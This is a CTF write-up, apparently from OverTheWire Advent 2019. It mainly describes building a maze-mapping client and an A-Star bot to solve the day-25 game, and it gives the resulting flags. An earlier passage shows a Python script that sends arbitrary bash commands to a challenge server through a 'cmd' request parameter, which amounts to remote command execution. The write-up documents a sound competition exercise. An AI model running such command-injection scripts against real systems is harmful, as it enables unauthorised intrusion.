619 This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle:
624 import requests.exceptions
629 print(" > ", end="", flush=True)
634 if command == "EXPL":
635 with open("proc.sh", "r") as file:
636 script = "".join(file.readlines())
638 escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
639 full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""'
640 payload = { 'cmd': full}
642 print(" ... ", end="\r", flush=True)
643 req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
644 print(" ", end="\r", flush=True)
648 except requests.exceptions.ReadTimeout:
650 except requests.exceptions.ConnectionError:
651 print("(connect error)")
654 What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well.
656 Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept:
661 hey solute 3.43413e+09
666 The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line)
673 read line <&${p1[0]};
675 read -d "=" captcha <&${p1[0]};
676 solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
677 printf "%.0f", sum }');
678 echo "hey solute $solution";
679 echo "$solution" >&${p1[1]};
684 Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`.
690 OverTheWire Advent 2019, day 25
692 Discussion in [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-25-lost-in-maze)
694 Full exploit on [GitLab](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/tree/master/day-25)
696 Time spent for this challenge: 16 hours + 1 hour write-up
698 * December 25: 7 hours (15:30-19:30, 21:00-00:00)
699 * December 26: 9 hours (00:00-09:00)
707 We have a code red ( and green, gold and white), we have lost Santa.
708 While he was delivering gifts he seems to have gotten a bit tipsy and
709 got lost somewhere over Europe. Luckily we saw this coming, we have a
710 GPS and bodycam on him, but we need your help. Get him out of there and
711 back on track to save Christmas.
713 Service: nc 3.93.128.89 1225
717 Upon connection, the game presents a fancy splash screen and asks for a screen size:
719 
721 After entering some screen size, the game renders a maze in ASCII art. In the bottom right corner, a mini-map is displayed.
723 
725 Navigation is possible via WASD.
728 #### Mapping the search space
729 I quickly realised that the whole game state can be represented using the little GPS map. Initially, I thought that by turning in specific increments, moving would be possible in straight lines. However, this turned out to be incorrect. The rotations do not allow to move in 90° angles, and the client needs to adjust to the 3D rotation. The exact rotation is not visible in the map, but can be inferred from the big screen. So the first approach I tried was to manually walk through the labyrinth and record the map to have some orientation.
731 After some Python™, I arrived at this state:
733 
735 The setup for this consists of [`client.py`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/35e34e8facfce4863ecabc0cb84374da3742e6c6/day-25/client.py) and a [`model.py`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/35e34e8facfce4863ecabc0cb84374da3742e6c6/day-25/model.py). The former handles the connection itself and the interaction logic, while the latter is responsible for modelling the game state as objects and operations on them.
737 What the client does at this point is connect to the server, input the screen size, and receive the screen. This is then output to the console. A command prompt allows to move via WASD and export the map to a file. After the sctreen is read, it is also passed to the model.
739 This first parses the `ScreenState` to find the GPS and provides the GPS parser with the contents of the GPS itself. It also strips the colour codes used to make the game visually attractive. These are not helpful for parsing content. `GpsState` then takes the GPS lines and parses the current position and target position. Then, it looks for the cursor as center point of reference. next, it parses all walls from the GPS and stores their positions relative to the center. Finally, it adds the current positon to the relative positions to obatain absolute positions of the walls observed. It stores a boolean array of walls for absolute coordinates. Finally, the `Map` object puts this all together and keeps track of current position and map, merging in new information from the GPS for every new screen. It also takes care of printing the map to a string.
741 Further, I deduced that distance is encoded as follows:
763 If more than half of the screen is made up of `@` characters, movement is denied. This is a useful heuristic to use later for automatic movement.
765 #### Directions for the driver
766 Using fully manual control, I was only able to get to around `(30, 25)` in the 10 minutes of timeout. This is not very good since the target is `(81, 81)`. So, I decided that an algorithm was needed to suggest where I should go.
768 Like a true hacker, I got inspired by someone else's A-Star implementation for this: [Thanks Laurent Luce](https://www.laurentluce.com/posts/solving-mazes-using-python-simple-recursivity-and-a-search/). The implementation wasn't quite perfect and didn't fit all of our needs, so I had to adapt it. The main issue with this implementation of A-Star is that it is designed for a *known* search space, which we do not have. We only know about a small part of the maze via the mini-map. Importantly, heuristics are not stable and previously-promising tiles may lead to a dead end in the next update.
770 What the A-Star does is to discover new tiles adjacent to the current position and assign each one a heuristic value. The next tile to visit is the tile with the lowest heuristic value (that is supposed to represent the effort needed to get there). I used square distance to the goal as heuristic.
772 The way this is implemented in the [final `model.py`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-25/model.py#L179) is that after receiving an update, we creates a new `TilePathFinder` to suggest the next target. This stores the current candidate list in a heap (`open`). In `process`, it loops as long as there are candidate tiles. If the next tile is the goal, we return it (the `PqTile` model keeps track of the path we used to get there). Otherwise, we look at its neighbours, compute their heuristic, and add them to the candidate heap.
774 Later, I changed this portion of the algorithm to penalise already-visited tiles, because the bot kept getting stuck in locally-optimal solutions that did not take into account that not all of the maze was discovered. I also added a special tile state, `MYSTERY`, to represent that a tile's value is unknown. Later, I modified the algorithm to look primarily at such mystery tiles, because discovering more of the map is far more helpful than staying in the map. (The initial solution went to the tile that was closest to the goal of all known tiles, but this did not always reveal a closer tile.)
776 To assist the driver, I visualised visited tiles (blue), the current position (green) and the current A-Star target in the full map:
778 
781 However, manual control was still too slow to reach the goal in a reasonable time-frame. I started adding [a small heuristic algorithm](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-25/client.py#L185) to move straight ahead until an obstacle was encountered. This worked, but still needed manual control, had no parallelisation, and couldn't turn or go to a target.
783 Next, I added [a more complicated algorithm](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-25/client.py#L103) that keeps track of the A-Star target and past moves. It uses the path information from `PqTile` to move to the A-Star target. If it detects that it gets stuck (this works by analysing the wall distances and if the last few moves changed the screen view), it does some random movement to get unstuck. It also autonomously turns to face the correct direction. Since this works fully automatically, I was able to run this in parallel with three instances running locally and six on a server I own, using Docker.
785 Applying this and incrementally improving the algorithm with different heuristics yielded quite successfuly executions like this:
787 
789 
791 After reaching the goal for the first time, I learned that `except Exception` does not catch errors in Python, and lost the flag. Sad
793 One and a half hours later, the algorithm succeeded again, this time with proper error handling :)
796 You saved Christmas, here is your reward:
797 AOTW{426573742077697368657320666F7220323032302121}
802 Thanks for reading all of this, lol
SomeNet / public repos / pub / jan / ctf-seminar.git / blob